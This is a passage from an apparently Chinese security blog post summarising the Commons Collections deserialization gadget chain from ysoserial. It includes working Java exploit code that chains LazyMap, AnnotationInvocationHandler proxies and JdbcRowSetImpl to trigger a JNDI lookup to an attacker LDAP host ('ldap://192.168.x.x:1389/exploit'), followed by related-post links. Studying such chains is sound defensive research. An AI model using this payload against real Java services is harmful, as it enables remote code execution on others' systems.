throw new InvalidObjectException("Non-annotation type in annotation serial stream");
} Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator(); // 关键在于这个this.memberValues.entrySet()
// 后面的代码省略
} // 构造函数
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2; // 注意这里this.memberValues就是传进去的map实例
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}

可以看到readObject方法中调用了this.memberValues.entrySet(),想象一下,如果这个this.memberValues是被动态代理创建的,那是不是就会进入代理类的invoke函数,而代理类又是AnnotationInvocationHandler,那就会调用上面的invoke方法,进而调用代理类内部map的get方法(也就是this.memberValues.get(var4)这一行),而代理类的memberValues=lazyMap的话,直接就形成利用链了。来看看利用代码:

String dataSource = "ldap://192.168.x.x:1389/exploit";
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); Transformer transformer[] = {
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setDataSourceName", new Class[]{String.class}, new Object[]{dataSource}),
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setAutoCommit", new Class[]{boolean.class}, new Object[]{true})
}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
HashMap<String, String> hashMap = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer); // 获取构造函数
Constructor<?> constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true); // 创建代理类
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Deprecated.class, lazyMap);
// 动态代理,创建lazyMap实例
Map map1 = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), invocationHandler);
// 创建被反序列化的AnnotationInvocationHandler类
Object aa = constructor.newInstance(Override.class, map1); // 本地写文件
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
out.writeObject(aa);
ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
in.readObject();

这里可能也会有点绕,所以将真正反序列化执行AnnotationInvocationHandler.readObject方法的实例命名为aa,当aa.readObject执行后,会调用aa.memberValues.entrySet(),也就是map1.entrySet(),由于map1是被代理类invocationHandler动态创建的,所以执行map1.entrySet的时候,会进入invocationHandler.invoke(),而invoke方法中存在this.memberValues.get(var4),这里就是代理类invocationHandler.memberValues.get(),代理类invocationHandler的memberValues就是一个lazyMap,所以成功到达ChainedTransformer!调用链如下

AnnotationInvocationHandler.readObject
memberValues.entrySet() 由于memberValues是被动态代理的,所以调用代理类的invoke方法,而代理类也是一个AnnotationInvocationHandler类
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.memberValues.get(xx) <=> lazyMap.get 代理类的memberValues是一个lazyMap
ChainedTransformer.transform(xx)

3 总结

因为面试和项目这个总结性的文章写的思路有一些断。学习过程中看过CC链中涉及到的源码后,不得不佩服ysoserial原作者的代码功底,tql!!ysoserial还有一些其它链,之后再研究研究。下一篇想写一个在shiro回显研究上看到的tomca 6 7 8 9全版本获取request的方法,试试能不能拿来做tomcat全版本的内存马

参考

https://xz.aliyun.com/t/9451

https://xz.aliyun.com/t/8164

https://github.com/frohoff/ysoserial

commons-collections利用链学习总结的更多相关文章

  1. Fastjson JdbcRowSetImpl利用链学习

    JdbcRowSetImpl 接着继续学习fastjson的第二条链JdbcRowSetImpl,主要是利用jndi注入达到的攻击,而且没有什么利用限制,而且其原理就是setter的自动调用,具体se ...

  2. ysoserial分析【一】 之 Apache Commons Collections

    目录 前言 基础知识 Transformer 利用InvokerTransformer造成命令执行 Map TransformedMap LazyMap AnnotationInvocationHan ...

  3. CommonsCollection6反序列化链学习

    CommonsCollection6 1.前置知识 1.1.HashSet HashSet 基于 HashMap 来实现的,是一个不允许有重复元素的集合.继承了序列化和集合 构造函数参数为空的话创建一 ...

  4. Apache Commons Collections 反序列化详细分析学习总结

    0x01.环境准备: Apache Commons Collections 3.1版本,下载链接参考: https://www.secfree.com/a/231.html jd jui地址(将jar ...

  5. Apache Common-collection 反序列化利用链解析--TransformedMap链

    Apache Common-collection 反序列化利用链解析 TransformedMap链 参考Java反序列化漏洞分析 - ssooking - 博客园 (cnblogs.com) poc ...

  6. CommonsCollection2反序列链学习

    CommonsCollection2 1.前置知识 CmonnosCollection2需要用到Javassist和PriorityQueue 1.1.Javassist Javassist是一个开源 ...

  7. CommonsCollection4反序列化链学习

    CommonsCollection4 1.前置知识 由于cc4没有新的知识点,主要是用cc2,然后稍微cc3结合了,所以我们可以看ysoserial源码,自己尝试构造一下,把cc2通过获取Invoke ...

  8. CommonsCollection7反序列化链学习

    CommonsCollections7 1.前置知识 Hashtable Hashtable实现了Map接口和Serializable接口,因此,Hashtable现在集成到了集合框架中.它和Hash ...

  9. TemplatesImpl利用链

    FastJson利用链 Fastjson的版本在1.2.22-1.2.24主要有两条链利用TemplatsImpl和JdbcRowSetImpl利用链先来学习TemplatsImpl利用链,这个与前面 ...

随机推荐

  1. Python+Selenium学习笔记12 - 窗口大小和滚动条

    涉及到的三个方法 set_window_size()  用于设置浏览器窗口的大小 e.gset_window_size(600,600) window.scrollTo() 用于设置浏览器窗口滚动条的 ...

  2. CVPR2018论文看点:基于度量学习分类与少镜头目标检测

    CVPR2018论文看点:基于度量学习分类与少镜头目标检测 简介 本文链接地址:https://arxiv.org/pdf/1806.04728.pdf 距离度量学习(DML)已成功地应用于目标分类, ...

  3. Hashing散列注意事项

    Hashing散列注意事项 Numba支持内置功能hash(),只需__hash__()在提供的参数上调用成员函数即可 .这使得添加对新类型的哈希支持变得微不足道,这是因为扩展APIoverload_ ...

  4. LeetCode---105. 从前序与中序遍历序列构造二叉树 (Medium)

    题目:105. 从前序与中序遍历序列构造二叉树 根据一棵树的前序遍历与中序遍历构造二叉树. 注意: 你可以假设树中没有重复的元素. 例如,给出 前序遍历 preorder = [3,9,20,15,7 ...

  5. JDK并发包二

    JDK并发包二 线程复用--线程池 在线程池中,总有那么几个活跃的线程,当程序需要线程时可以从池子中随便拿一个控线程,当程序执行完毕,线程不关闭,而是将这个线程退会到池子,等待使用. JDK提供了一套 ...

  6. 详解 CDN 加速

    背景 本来是为了深入了解 CDN 的,结果发现前置知识:IP.域名.DNS 都还不算特别熟,所以先写了他们 现在终于来聊一聊 CDN 啦 本文素材均出自:https://www.bilibili.co ...

  7. Golang中的各种时间操作

    Golang中的各种时间操作 需求 时间格式的转换比较麻烦,自己写了个工具,可以通过工具中的这些方法相互调用转成自己想要的格式,代码如下,后续有新的函数再添加 实现代码 package utils i ...

  8. DDoS防护方式以及产品

    导航: 这里将一个案例事项按照流程进行了整合,这样查看起来比较清晰.部分资料来自于Cloudflare 1.DDoS介绍 2.常用DDoS攻击 3.DDoS防护方式以及产品 4.Cloudflare ...

  9. .Net Core 常用开发工具(IDE和运行时、Visual Studio插件、Visual Studio Code插件)

    IDE和运行时 组件名 描述 可选版本 推荐版本 Visual Studio Community 社区免费版 For Visual Studio 2017 For Visual Studio 2019 ...

  10. 45、screen命令

    1.screen命令介绍: 当我们在使用linux远程工具进行远程访问服务器时,进行远程访问的界面往往不能关掉,否则程序将不再运行.而且,程序 在运行的过程中,还必须时刻保证网络的通常,这些条件都很难 ...